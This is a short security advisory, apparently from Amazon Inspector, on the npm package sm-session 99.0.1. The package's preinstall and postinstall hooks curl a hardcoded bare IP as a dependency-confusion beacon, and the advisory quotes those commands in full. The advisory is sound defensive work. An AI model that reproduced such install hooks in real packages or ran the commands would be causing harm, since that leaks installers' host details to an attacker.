sm-session @99.0.1

Summary

package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s http://16.192.173.5/sm-session/post on npm install . The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.

Source: amazon-inspector (ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24)